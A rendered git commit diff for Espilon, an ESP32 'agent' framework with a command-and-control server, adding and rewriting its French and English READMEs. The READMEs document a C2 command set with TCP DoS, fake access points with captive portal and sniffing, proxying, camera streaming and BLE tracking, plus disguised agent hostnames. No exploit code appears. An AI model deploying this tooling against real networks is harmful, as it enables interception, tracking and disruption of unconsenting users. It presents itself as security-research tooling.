ε - Merge implem-c2 into main
This commit is contained in:
commit
3311626d58
5
.gitignore
vendored
5
.gitignore
vendored
@ -48,6 +48,11 @@ logs/
|
||||
espilon_bot/logs/
|
||||
sdkconfig
|
||||
|
||||
# C2 Runtime files (camera streams, recordings)
|
||||
tools/c2/static/streams/*.jpg
|
||||
tools/c2/static/recordings/*.avi
|
||||
*.avi
|
||||
|
||||
# IDE and Editor
|
||||
.vscode/
|
||||
!.vscode/settings.json
|
||||
|
||||
371
README.en.md
371
README.en.md
@ -1,371 +0,0 @@
|
||||
# Espilon
|
||||
|
||||

|
||||
|
||||
**Embedded ESP32 Agent Framework for Security Research and IoT**
|
||||
|
||||
[](LICENSE)
|
||||
[](https://github.com/espressif/esp-idf)
|
||||
[](https://www.espressif.com/en/products/socs/esp32)
|
||||
|
||||
> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment.
|
||||
|
||||
---
|
||||
|
||||
## Full Documentation
|
||||
|
||||
**[View the full documentation here](https://docs.espilon.net)**
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
The MkDocs documentation includes:
|
||||
|
||||
```md
|
||||
- Step-by-step installation guide
|
||||
- Translate EN/FR
|
||||
- WiFi and GPRS configuration
|
||||
- Module and command reference
|
||||
- Multi-device flasher guide
|
||||
- C2 protocol specification
|
||||
- Examples and use cases
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Prerequisites
|
||||
|
||||
- ESP-IDF v5.3.2
|
||||
- Python 3.8+
|
||||
- ESP32 (any compatible model)
|
||||
- LilyGO T-Call for GPRS mode (optional)
|
||||
|
||||
### Quick Installation
|
||||
|
||||
```bash
|
||||
# 1. Install ESP-IDF v5.3.2
|
||||
mkdir -p ~/esp
|
||||
cd ~/esp
|
||||
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
|
||||
cd esp-idf
|
||||
./install.sh esp32
|
||||
. ./export.sh
|
||||
|
||||
# 2. Clone Espilon
|
||||
cd ~
|
||||
git clone https://github.com/Espilon-Net/epsilon-source.git
|
||||
cd Espilon-Net/espilon_bot
|
||||
|
||||
# 3. Configure with menuconfig or tools/flasher/devices.json
|
||||
idf.py menuconfig
|
||||
|
||||
# 4. Build and flash
|
||||
idf.py build
|
||||
idf.py -p /dev/ttyUSB0 flash monitor
|
||||
```
|
||||
|
||||
**Minimal configuration** (menuconfig):
|
||||
|
||||
```c
|
||||
Espilon Bot Configuration
|
||||
|- Device ID: "your_unique_id"
|
||||
|- Network -> WiFi
|
||||
| |- SSID: "YourWiFi"
|
||||
| |- Password: "YourPassword"
|
||||
|- Server
|
||||
|- IP: "192.168.1.100"
|
||||
|- Port: 2626
|
||||
```
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## What is Espilon?
|
||||
|
||||
Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful networked agents for:
|
||||
|
||||
- **Security research**: WiFi testing, network reconnaissance, IoT pentesting
|
||||
- **Education**: Learning embedded systems, network protocols, FreeRTOS
|
||||
- **IoT prototyping**: Distributed communication, monitoring, sensors
|
||||
|
||||
### Connectivity Modes
|
||||
|
||||
| Mode | Hardware | Range | Use Case |
|
||||
|------|----------|-------|----------|
|
||||
| **WiFi** | Standard ESP32 | 50-100m | Labs, buildings |
|
||||
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
+---------------------------------------------------------+
|
||||
| ESP32 Agent |
|
||||
| +-----------+ +----------+ +---------------------+ |
|
||||
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
|
||||
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | |
|
||||
| +-----------+ +----------+ +---------------------+ |
|
||||
| | | | |
|
||||
| +-----------------------------------------------------+|
|
||||
| | Module System (FreeRTOS) ||
|
||||
| | [Network] [FakeAP] [Recon] [Custom...] ||
|
||||
| +-----------------------------------------------------+|
|
||||
+---------------------------------------------------------+
|
||||
| Encrypted TCP
|
||||
+---------------------+
|
||||
| C2 Server (C3PO) |
|
||||
| - Device Registry |
|
||||
| - Group Management |
|
||||
| - CLI Interface |
|
||||
+---------------------+
|
||||
```
|
||||
|
||||
### Key Components
|
||||
|
||||
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol
|
||||
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)**: Python asyncio server for multi-agent control
|
||||
- **Flasher**: Automated multi-device flashing tool
|
||||
|
||||
---
|
||||
|
||||
## Available Modules
|
||||
|
||||
> **Important note**: Modules are **mutually exclusive**. You must choose **only one module** during configuration via menuconfig.
|
||||
|
||||
### System Module (Built-in, always active)
|
||||
|
||||
Basic system commands:
|
||||
|
||||
- `system_reboot`: Reboot the ESP32
|
||||
- `system_mem`: Display memory usage (heap free, heap min, internal free)
|
||||
- `system_uptime`: Uptime since boot
|
||||
|
||||
### Network Module
|
||||
|
||||
Module for network reconnaissance and testing:
|
||||
|
||||
- `ping <host> [args...]`: ICMP connectivity test
|
||||
- `arp_scan`: Discover hosts on local network via ARP
|
||||
- `proxy_start <ip> <port>`: Start a TCP proxy
|
||||
- `proxy_stop`: Stop the running proxy
|
||||
- `dos_tcp <ip> <port> <count>`: TCP load test (authorized use only)
|
||||
|
||||
### FakeAP Module
|
||||
|
||||
Module for creating simulated WiFi access points:
|
||||
|
||||
- `fakeap_start <ssid> [open|wpa2] [password]`: Start a fake access point
|
||||
- `fakeap_stop`: Stop the fake AP
|
||||
- `fakeap_status`: Display status (AP, portal, sniffer, clients)
|
||||
- `fakeap_clients`: List connected clients
|
||||
- `fakeap_portal_start`: Enable captive portal
|
||||
- `fakeap_portal_stop`: Disable captive portal
|
||||
- `fakeap_sniffer_on`: Enable network traffic capture
|
||||
- `fakeap_sniffer_off`: Disable capture
|
||||
|
||||
### Recon Module
|
||||
|
||||
Reconnaissance and data collection module. Two modes available:
|
||||
|
||||
#### Camera Mode (ESP32-CAM)
|
||||
|
||||
- `cam_start <ip> <port>`: Start UDP video streaming (~7 FPS, QQVGA)
|
||||
- `cam_stop`: Stop streaming
|
||||
|
||||
#### BLE Trilateration Mode
|
||||
|
||||
- `trilat start <mac> <url> <bearer>`: Start BLE trilateration with HTTP POST
|
||||
- `trilat stop`: Stop trilateration
|
||||
|
||||
---
|
||||
|
||||
**Configuration**: `idf.py menuconfig` -> Espilon Bot Configuration -> Modules
|
||||
|
||||
Choose **only one module**:
|
||||
|
||||
- `CONFIG_MODULE_NETWORK`: Enable the Network Module
|
||||
- `CONFIG_MODULE_FAKEAP`: Enable the FakeAP Module
|
||||
- `CONFIG_MODULE_RECON`: Enable the Recon Module
|
||||
- Then choose: `Camera` or `BLE Trilateration`
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
### Multi-Device Flasher
|
||||
|
||||
Automated flasher to configure multiple ESP32s:
|
||||
|
||||
```bash
|
||||
cd tools/flasher
|
||||
python3 flash.py --config devices.json
|
||||
```
|
||||
|
||||
**devices.json**:
|
||||
|
||||
```json
|
||||
{
|
||||
"project": "/path/to/espilon_bot",
|
||||
"devices": [
|
||||
{
|
||||
"device_id": "esp001",
|
||||
"port": "/dev/ttyUSB0",
|
||||
"network_mode": "wifi",
|
||||
"wifi_ssid": "MyNetwork",
|
||||
"wifi_pass": "MyPassword",
|
||||
"srv_ip": "192.168.1.100"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
|
||||
|
||||
### C2 Server (C3PO)
|
||||
|
||||
Command & Control server:
|
||||
|
||||
```bash
|
||||
cd tools/c2
|
||||
pip3 install -r requirements.txt
|
||||
python3 c3po.py --port 2626
|
||||
```
|
||||
|
||||
**Commands**:
|
||||
|
||||
- `list`: List connected agents
|
||||
- `select <id>`: Select an agent
|
||||
- `cmd <command>`: Execute a command
|
||||
- `group`: Manage agent groups
|
||||
|
||||
---
|
||||
|
||||
## Security
|
||||
|
||||
### Encryption
|
||||
|
||||
- **ChaCha20** for C2 communications
|
||||
- **Configurable keys** via menuconfig
|
||||
- **Protocol Buffers (nanoPB)** for serialization
|
||||
|
||||
**CHANGE DEFAULT KEYS** for production use:
|
||||
|
||||
```bash
|
||||
# Generate random keys
|
||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
||||
openssl rand -hex 12 # Nonce (12 bytes)
|
||||
```
|
||||
|
||||
### Responsible Use
|
||||
|
||||
Espilon should only be used for:
|
||||
|
||||
- **Authorized** penetration testing
|
||||
- **Ethical** security research
|
||||
- Education and training
|
||||
- Legitimate IoT prototyping
|
||||
|
||||
**Prohibited**: Unauthorized access, malicious attacks, privacy violations.
|
||||
|
||||
---
|
||||
|
||||
## Use Cases
|
||||
|
||||
### WiFi Pentesting
|
||||
|
||||
- Network security auditing
|
||||
- WPA2/WPA3 robustness testing
|
||||
- Network mapping
|
||||
|
||||
### IoT Security Research
|
||||
|
||||
- IoT device testing
|
||||
- Protocol analysis
|
||||
- Vulnerability detection
|
||||
|
||||
### Education
|
||||
|
||||
- Cybersecurity labs
|
||||
- Embedded systems courses
|
||||
- CTF competitions
|
||||
|
||||
---
|
||||
|
||||
## Roadmap
|
||||
|
||||
### V2.0 (In Progress)
|
||||
|
||||
- [ ] Mesh networking (BLE/WiFi)
|
||||
- [ ] Improve documentation
|
||||
- [ ] OTA updates
|
||||
- [ ] Collaborative multilateration
|
||||
- [ ] Memory optimization
|
||||
|
||||
### Future
|
||||
|
||||
- [ ] Custom Espilon PCB
|
||||
- [ ] ESP32-S3/C3 support
|
||||
- [ ] Module SDK for third-party extensions
|
||||
- [ ] Web UI for C2
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
Espilon is licensed under **MIT** with a security addendum.
|
||||
|
||||
See [LICENSE](LICENSE) for full details.
|
||||
|
||||
**In summary**:
|
||||
- Free use for research, education, development
|
||||
- Modification and distribution allowed
|
||||
- **Obtain authorization** before any deployment
|
||||
- Malicious use strictly prohibited
|
||||
|
||||
---
|
||||
|
||||
## Contributors
|
||||
|
||||
- **@Eun0us** - Core architecture, modules
|
||||
- **@off-path** - C2 server, protocol
|
||||
- **@itsoktocryyy** - Network features, work on Mod Wall Hack
|
||||
- **@wepfen** - Documentation, tools
|
||||
|
||||
### Contributing
|
||||
|
||||
Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
|
||||
**Join us**:
|
||||
|
||||
- Report bugs
|
||||
- Propose features
|
||||
- Submit PRs
|
||||
- Improve documentation
|
||||
|
||||
---
|
||||
|
||||
## Useful Links
|
||||
|
||||
- **[Full documentation](https://docs.espilon.net)**
|
||||
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
||||
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
||||
- **French README**: [README.md](README.md)
|
||||
|
||||
---
|
||||
|
||||
## Support
|
||||
|
||||
- **Issues**: [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
||||
- **Discussions**: [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
||||
|
||||
---
|
||||
|
||||
**Originally presented at Le Hack (June 2025)**
|
||||
|
||||
**Made with love for security research and education**
|
||||
428
README.fr.md
Normal file
428
README.fr.md
Normal file
@ -0,0 +1,428 @@
|
||||
# Espilon
|
||||
|
||||

|
||||
|
||||
**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT**
|
||||
|
||||
[](LICENSE)
|
||||
[](https://github.com/espressif/esp-idf)
|
||||
[](https://www.espressif.com/en/products/socs/esp32)
|
||||
|
||||
> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement.
|
||||
|
||||
---
|
||||
|
||||
## Sommaire
|
||||
|
||||
- [Documentation Complète](#documentation-complète)
|
||||
- [Quick Start](#quick-start)
|
||||
- [Prérequis](#prérequis)
|
||||
- [Installation Rapide](#installation-rapide)
|
||||
- [Qu'est-ce qu'Espilon ?](#quest-ce-quespilon-)
|
||||
- [Modes de Connectivité](#modes-de-connectivité)
|
||||
- [Architecture](#architecture)
|
||||
- [Composants Clés](#composants-clés)
|
||||
- [Modules Disponibles](#modules-disponibles)
|
||||
- [System Module](#system-module-built-in-toujours-actif)
|
||||
- [Network Module](#network-module)
|
||||
- [FakeAP Module](#fakeap-module)
|
||||
- [Recon Module](#recon-module)
|
||||
- [Outils](#outils)
|
||||
- [Multi-Device Flasher](#multi-device-flasher)
|
||||
- [C2 Server (C3PO)](#c2-server-c3po)
|
||||
- [Sécurité](#sécurité)
|
||||
- [Chiffrement](#chiffrement)
|
||||
- [Usage Responsable](#usage-responsable)
|
||||
- [Cas d'Usage](#cas-dusage)
|
||||
- [Roadmap](#roadmap)
|
||||
- [Licence](#licence)
|
||||
- [Contributeurs](#contributeurs)
|
||||
- [Liens Utiles](#liens-utiles)
|
||||
- [Support](#support)
|
||||
|
||||
---
|
||||
|
||||
## Documentation Complète
|
||||
|
||||
**[Consultez la documentation complète ici](https://docs.espilon.net)**
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
La documentation MkDocs inclut :
|
||||
|
||||
```md
|
||||
- Guide d'installation pas à pas
|
||||
- Traduction EN/FR
|
||||
- Configuration WiFi et GPRS
|
||||
- Référence des modules et commandes
|
||||
- Guide du flasher multi-device
|
||||
- Spécification du protocole C2
|
||||
- Exemples et cas d'usage
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Prérequis
|
||||
|
||||
- ESP-IDF v5.3.2
|
||||
- Python 3.8+
|
||||
- ESP32 (tout modèle compatible)
|
||||
- LilyGO T-Call pour le mode GPRS (optionnel)
|
||||
|
||||
### Installation Rapide
|
||||
|
||||
```bash
|
||||
# 1. Installer ESP-IDF v5.3.2
|
||||
mkdir -p ~/esp
|
||||
cd ~/esp
|
||||
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
|
||||
cd esp-idf
|
||||
./install.sh esp32
|
||||
. ./export.sh
|
||||
|
||||
# 2. Cloner Espilon
|
||||
cd ~
|
||||
git clone https://github.com/Espilon-Net/epsilon-source.git
|
||||
cd epsilon/espilon_bot
|
||||
|
||||
# 3. Configurer
|
||||
idf.py menuconfig
|
||||
|
||||
# 4. Compiler et flasher
|
||||
idf.py build
|
||||
idf.py -p /dev/ttyUSB0 flash monitor
|
||||
```
|
||||
|
||||
**Configuration minimale** (menuconfig) :
|
||||
|
||||
```c
|
||||
Espilon Bot Configuration
|
||||
├─ Device ID: "votre_id_unique"
|
||||
├─ Network → WiFi
|
||||
│ ├─ SSID: "VotreWiFi"
|
||||
│ └─ Password: "VotreMotDePasse"
|
||||
└─ Server
|
||||
├─ IP: "192.168.1.100"
|
||||
└─ Port: 2626
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Qu'est-ce qu'Espilon ?
|
||||
|
||||
Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents networked puissants pour :
|
||||
|
||||
- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting
|
||||
- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS
|
||||
- **Prototypage IoT** : Communication distribuée, monitoring, capteurs
|
||||
|
||||
### Modes de Connectivité
|
||||
|
||||
| Mode | Hardware | Portée | Use Case |
|
||||
|------|----------|--------|----------|
|
||||
| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments |
|
||||
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
|
||||
|
||||
**General Packet Radio Service** vs **WiFi**
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```md
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ ESP32 Agent │
|
||||
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
|
||||
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
|
||||
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
|
||||
│ └───────────┘ └──────────┘ └─────────────────┘ │
|
||||
│ ↓ ↓ ↓ │
|
||||
│ ┌───────────────────────────────────────────────┐ │
|
||||
│ │ Module System (FreeRTOS) │ │
|
||||
│ │ [Network] [FakeAP] [Recon] [Custom...] │ │
|
||||
│ └───────────────────────────────────────────────┘ │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
↕ Encrypted TCP
|
||||
┌──────────────────────┐
|
||||
│ C2 Server (C3PO) │
|
||||
│ - Device Registry │
|
||||
│ - Group Management │
|
||||
│ - CLI Interface │
|
||||
└──────────────────────┘
|
||||
```
|
||||
|
||||
### Composants Clés
|
||||
|
||||
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
|
||||
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
|
||||
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
|
||||
- **Flasher** : Outil de flash multi-device automatisé
|
||||
|
||||
---
|
||||
|
||||
## Modules Disponibles
|
||||
|
||||
> **Note importante** : Les modules sont **mutuellement exclusifs**. Vous devez choisir **un seul module** lors de la configuration via menuconfig.
|
||||
|
||||
### System Module (Built-in, toujours actif)
|
||||
|
||||
Commandes système de base :
|
||||
|
||||
- `system_reboot` : Redémarrage de l'ESP32
|
||||
- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free)
|
||||
- `system_uptime` : Temps de fonctionnement depuis le boot
|
||||
|
||||
### Network Module
|
||||
|
||||
Module pour reconnaissance et tests réseau :
|
||||
|
||||
- `ping <host> [args...]` : Test de connectivité ICMP
|
||||
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
|
||||
- `proxy_start <ip> <port>` : Démarrer un proxy TCP
|
||||
- `proxy_stop` : Arrêter le proxy en cours
|
||||
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
|
||||
|
||||
### FakeAP Module
|
||||
|
||||
Module pour création de points d'accès WiFi simulés :
|
||||
|
||||
- `fakeap_start <ssid> [open|wpa2] [password]` : Démarrer un faux point d'accès
|
||||
- `fakeap_stop` : Arrêter le faux AP
|
||||
- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients)
|
||||
- `fakeap_clients` : Lister les clients connectés
|
||||
- `fakeap_portal_start` : Activer le portail captif
|
||||
- `fakeap_portal_stop` : Désactiver le portail captif
|
||||
- `fakeap_sniffer_on` : Activer la capture de trafic réseau
|
||||
- `fakeap_sniffer_off` : Désactiver la capture
|
||||
|
||||
### Recon Module
|
||||
|
||||
Module de reconnaissance et collecte de données. Deux modes disponibles :
|
||||
|
||||
#### Mode Camera (ESP32-CAM)
|
||||
|
||||
- `cam_start <ip> <port>` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA)
|
||||
- `cam_stop` : Arrêter le streaming
|
||||
|
||||
#### Mode BLE Trilateration
|
||||
|
||||
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
|
||||
- `trilat stop` : Arrêter la trilatération
|
||||
|
||||
---
|
||||
|
||||
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
|
||||
|
||||
Choisissez **un seul module** :
|
||||
|
||||
- `CONFIG_MODULE_NETWORK` : Active le Network Module
|
||||
- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module
|
||||
- `CONFIG_MODULE_RECON` : Active le Recon Module
|
||||
- Puis choisir : `Camera` ou `BLE Trilateration`
|
||||
|
||||
---
|
||||
|
||||
## Outils
|
||||
|
||||
### Multi-Device Flasher
|
||||
|
||||
Flasher automatisé pour configurer plusieurs ESP32 :
|
||||
|
||||
```bash
|
||||
cd tools/flasher
|
||||
python3 flash.py --config devices.json
|
||||
```
|
||||
|
||||
**devices.json** :
|
||||
|
||||
```json
|
||||
{
|
||||
"project": "/home/user/epsilon/espilon_bot",
|
||||
"devices": [
|
||||
## WiFi AGENT ##
|
||||
{
|
||||
"device_id": "ce4f626b",
|
||||
"port": "/dev/ttyUSB0",
|
||||
"srv_ip": "192.168.1.13",
|
||||
"srv_port": 2626,
|
||||
"network_mode": "wifi",
|
||||
"wifi_ssid": "MyWiFi",
|
||||
"wifi_pass": "MyPassword123",
|
||||
"hostname": "pixel-8-pro",
|
||||
"module_network": true,
|
||||
"module_recon": false,
|
||||
"module_fakeap": false,
|
||||
"recon_camera": false,
|
||||
"recon_ble_trilat": false,
|
||||
"crypto_key": "testde32chars00000000000000000000",
|
||||
"crypto_nonce": "noncenonceno"
|
||||
},
|
||||
|
||||
## GPRS AGENT ##
|
||||
{
|
||||
"device_id": "a91dd021",
|
||||
"port": "/dev/ttyUSB1",
|
||||
"srv_ip": "203.0.113.10",
|
||||
"srv_port": 2626,
|
||||
"network_mode": "gprs",
|
||||
"gprs_apn": "sl2sfr",
|
||||
"hostname": "galaxy-s24-ultra",
|
||||
"module_network": true,
|
||||
"module_recon": false,
|
||||
"module_fakeap": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
|
||||
|
||||
### C2 Server (C3PO)
|
||||
|
||||
Serveur de Command & Control :
|
||||
|
||||
```bash
|
||||
cd tools/c2
|
||||
pip3 install -r requirements.txt
|
||||
python3 c3po.py --port 2626
|
||||
```
|
||||
|
||||
**Commandes** :
|
||||
|
||||
- `list` : Lister les agents connectés
|
||||
- `select <id>` : Sélectionner un agent
|
||||
- `cmd <command>` : Exécuter une commande
|
||||
- `group` : Gérer les groupes d'agents
|
||||
|
||||
---
|
||||
|
||||
## Sécurité
|
||||
|
||||
### Chiffrement
|
||||
|
||||
- **ChaCha20** pour les communications C2
|
||||
- **Clés configurables** via menuconfig
|
||||
- **Protocol Buffers (nanoPB)** pour la sérialisation
|
||||
|
||||
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
|
||||
|
||||
```bash
|
||||
# Générer des clés aléatoires
|
||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
||||
openssl rand -hex 12 # Nonce (12 bytes)
|
||||
```
|
||||
|
||||
### Usage Responsable
|
||||
|
||||
Espilon doit être utilisé uniquement pour :
|
||||
|
||||
- Tests d'intrusion **autorisés**
|
||||
- Recherche en sécurité **éthique**
|
||||
- Éducation et formation
|
||||
- Prototypage IoT légitime
|
||||
|
||||
**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité.
|
||||
|
||||
---
|
||||
|
||||
## Cas d'Usage
|
||||
|
||||
### Pentest WiFi
|
||||
|
||||
- Audit de sécurité réseau
|
||||
- Test de robustesse WPA2/WPA3
|
||||
- Cartographie réseau
|
||||
|
||||
### IoT Security Research
|
||||
|
||||
- Test de devices IoT
|
||||
- Analyse de protocoles
|
||||
- Détection de vulnérabilités
|
||||
|
||||
### Éducation
|
||||
|
||||
- Labs de cybersécurité
|
||||
- Cours d'embarqué
|
||||
- CTF competitions
|
||||
|
||||
---
|
||||
|
||||
## Roadmap
|
||||
|
||||
### V2.0 (En cours)
|
||||
|
||||
- [ ] Mesh networking (BLE/WiFi)
|
||||
- [ ] Implémenter Module reccoon dans C3PO
|
||||
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
|
||||
- [ ] OTA updates
|
||||
- [ ] Multilatération collaborative
|
||||
- [ ] Optimisation mémoire
|
||||
|
||||
### Future
|
||||
|
||||
- [ ] PCB custom Espilon
|
||||
- [ ] Support ESP32-S3/C3
|
||||
- [ ] Module SDK pour extensions tierces
|
||||
- [ ] Web UI pour C2
|
||||
|
||||
---
|
||||
|
||||
## Licence
|
||||
|
||||
Espilon est sous licence **MIT** avec addendum de sécurité.
|
||||
|
||||
Voir [LICENSE](LICENSE) pour les détails complets.
|
||||
|
||||
**En résumé** :
|
||||
|
||||
- Utilisation libre pour recherche, éducation, développement
|
||||
- Modification et distribution autorisées
|
||||
- **Obtenir autorisation** avant tout déploiement
|
||||
- Usage malveillant strictement interdit
|
||||
|
||||
---
|
||||
|
||||
## Contributeurs
|
||||
|
||||
- **@Eun0us** - Core architecture, modules
|
||||
- **@off-path** - C2 server, protocol
|
||||
- **@itsoktocryyy** - Network features, Wall Hack
|
||||
- **@wepfen** - Documentation, tools
|
||||
|
||||
### Contribuer
|
||||
|
||||
Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
|
||||
**Rejoignez-nous** :
|
||||
|
||||
- Rapporter des bugs
|
||||
- Proposer des features
|
||||
- Soumettre des PRs
|
||||
- Améliorer la doc
|
||||
|
||||
---
|
||||
|
||||
## Liens Utiles
|
||||
|
||||
- **[Documentation complète](https://docs.espilon.net)**
|
||||
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
||||
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
||||
- **English README** : [README.en.md](README.en.md)
|
||||
|
||||
---
|
||||
|
||||
## Support
|
||||
|
||||
- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
||||
- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
||||
|
||||
---
|
||||
|
||||
**Présenté initialement à Le Hack (Juin 2025)**
|
||||
|
||||
**Made with love for security research and education**
|
||||
399
README.md
399
README.md
@ -2,51 +2,81 @@
|
||||
|
||||

|
||||
|
||||
**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT**
|
||||
**Embedded ESP32 Agent Framework for Security Research and IoT**
|
||||
|
||||
[](LICENSE)
|
||||
[](https://github.com/espressif/esp-idf)
|
||||
[](https://www.espressif.com/en/products/socs/esp32)
|
||||
|
||||
> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement.
|
||||
> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment.
|
||||
|
||||
---
|
||||
|
||||
## Documentation Complète
|
||||
## Table of Contents
|
||||
|
||||
**[Consultez la documentation complète ici](https://docs.espilon.net)**
|
||||
- [Full Documentation](#full-documentation)
|
||||
- [Quick Start](#quick-start)
|
||||
- [Prerequisites](#prerequisites)
|
||||
- [Quick Installation](#quick-installation)
|
||||
- [What is Espilon?](#what-is-espilon)
|
||||
- [Connectivity Modes](#connectivity-modes)
|
||||
- [Architecture](#architecture)
|
||||
- [Key Components](#key-components)
|
||||
- [Available Modules](#available-modules)
|
||||
- [System Module](#system-module-built-in-always-active)
|
||||
- [Network Module](#network-module)
|
||||
- [FakeAP Module](#fakeap-module)
|
||||
- [Recon Module](#recon-module)
|
||||
- [Tools](#tools)
|
||||
- [Multi-Device Flasher](#multi-device-flasher)
|
||||
- [C2 Server (C3PO)](#c2-server-c3po)
|
||||
- [Security](#security)
|
||||
- [Encryption](#encryption)
|
||||
- [Responsible Use](#responsible-use)
|
||||
- [Use Cases](#use-cases)
|
||||
- [Roadmap](#roadmap)
|
||||
- [License](#license)
|
||||
- [Contributors](#contributors)
|
||||
- [Useful Links](#useful-links)
|
||||
- [Support](#support)
|
||||
|
||||
---
|
||||
|
||||
## Full Documentation
|
||||
|
||||
**[View the full documentation here](https://docs.espilon.net)**
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
La documentation MkDocs inclut :
|
||||
The MkDocs documentation includes:
|
||||
|
||||
```md
|
||||
- Guide d'installation pas à pas
|
||||
- Traduction EN/FR
|
||||
- Configuration WiFi et GPRS
|
||||
- Référence des modules et commandes
|
||||
- Guide du flasher multi-device
|
||||
- Spécification du protocole C2
|
||||
- Exemples et cas d'usage
|
||||
- Step-by-step installation guide
|
||||
- Translate EN/FR
|
||||
- WiFi and GPRS configuration
|
||||
- Module and command reference
|
||||
- Multi-device flasher guide
|
||||
- C2 protocol specification
|
||||
- Examples and use cases
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Prérequis
|
||||
### Prerequisites
|
||||
|
||||
- ESP-IDF v5.3.2
|
||||
- Python 3.8+
|
||||
- ESP32 (tout modèle compatible)
|
||||
- LilyGO T-Call pour le mode GPRS (optionnel)
|
||||
- ESP32 (any compatible model)
|
||||
- LilyGO T-Call for GPRS mode (optional)
|
||||
|
||||
### Installation Rapide
|
||||
### Quick Installation
|
||||
|
||||
```bash
|
||||
# 1. Installer ESP-IDF v5.3.2
|
||||
# 1. Install ESP-IDF v5.3.2
|
||||
mkdir -p ~/esp
|
||||
cd ~/esp
|
||||
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
|
||||
@ -54,205 +84,182 @@ cd esp-idf
|
||||
./install.sh esp32
|
||||
. ./export.sh
|
||||
|
||||
# 2. Cloner Espilon
|
||||
# 2. Clone Espilon
|
||||
cd ~
|
||||
git clone https://github.com/Espilon-Net/epsilon-source.git
|
||||
cd epsilon/espilon_bot
|
||||
cd Espilon-Net/espilon_bot
|
||||
|
||||
# 3. Configurer
|
||||
# 3. Configure with menuconfig or tools/flasher/devices.json
|
||||
idf.py menuconfig
|
||||
|
||||
# 4. Compiler et flasher
|
||||
# 4. Build and flash
|
||||
idf.py build
|
||||
idf.py -p /dev/ttyUSB0 flash monitor
|
||||
```
|
||||
|
||||
**Configuration minimale** (menuconfig) :
